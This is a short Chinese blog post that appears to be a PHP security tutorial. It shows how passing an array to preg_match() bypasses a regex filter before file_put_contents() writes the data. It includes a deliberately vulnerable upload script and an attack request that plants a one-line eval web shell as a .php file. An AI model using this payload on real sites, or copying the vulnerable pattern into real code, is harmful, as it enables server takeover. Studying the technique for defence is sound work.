file_put_contents() 利用技巧

本文介绍了PHP中的file_put_contents()、preg_match()等函数的用法及其安全问题。通过实例展示了如何利用preg_match()的数组输入绕过正则过滤,执行恶意代码。同时,提醒开发者注意对用户输入的过滤和验证,防止安全漏洞的发生。
摘要由CSDN通过智能技术生成

0x00 Preface

0x01 file_put_contents()

在这里插入图片描述

参数 data 为要写入的数据,类型可以是 string、array 或 stream。如果 data 为 stream,就相当于使用 stream_copy_to_stream() 函数,stream 中保存的缓存数据将被写入到指定文件中。如果 data 为数组(但不能为多维数组),就相当于使用 file_put_contents($filename, join("", $array)),将数据转换为字符串后写入。

0x02 preg_match()

对于用户可控的输入,大多都通过正则对敏感字符进行过滤:

if(preg_match('/\</',$data)){
 die('hack');
}

0x03 Bypass preg_match()

很多以字符串为参数的函数如果传入数组则会报错并返回 null, 如 strcmp()、strlen()、md5() 等。但 preg_match() 函数传入数组时报错返回的是 false,这样以来 preg_match() 函数的正则过滤就失效了,并且不会改变原数据的内容。这里我们可以通过 var_dump(preg_match('/\</',$data)); 来验证。

<?php 
  
if(isset($_GET['content']) && isset($_GET['ext'])){
 $data = $_GET['content'];
 $ext = $_GET['ext'];
  
 var_dump(preg_match('/\</',$data));
 if(preg_match('/\</',$data)){
  die('<br>hack');
 }
 $filename = time();
 file_put_contents($filename.$ext, $data);
}
  
?>

content=123&ext=.txt
在这里插入图片描述
在这里插入图片描述

content=<?php%20@eval($_POST[%27a%27]);%20?>&ext=.php
在这里插入图片描述

content[]=<?php%20@eval($_POST[%27a%27]);%20?>&ext=.php

在这里插入图片描述
在这里插入图片描述

0x04 Reference

https://www.jb51.net/article/127521.htm

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值